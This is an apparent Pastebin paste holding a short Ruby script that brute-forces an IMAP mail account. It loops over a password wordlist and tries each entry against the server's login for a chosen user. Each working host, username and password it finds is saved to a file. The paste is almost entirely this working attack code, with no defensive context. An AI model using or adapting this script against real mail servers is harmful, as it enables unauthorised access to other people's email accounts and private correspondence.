Guest User

Untitled

a guest
Aug 20th, 2017
147
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 2.05 KB | None | 0 0
  1. IO.foreach(options[:pwdfile]).each do |line|
  2. begin
  3. value = line.chomp
  4. imap = Net::IMAP.new(options[:host], 993, true)
  5. result = imap.login( options[:user], value )
  6. puts "SUCCESS: The combination of " + options[:user] + " and password " + value + " worked"
  7. File.write('success.out', options[:host] + " - " + options[:user] + ':' + value)
  8. rescue
  9. puts "FAILED: Password " + value + " didnt work"
  10. end
  11. end
Advertisement
Add Comment
Please, Sign In to add comment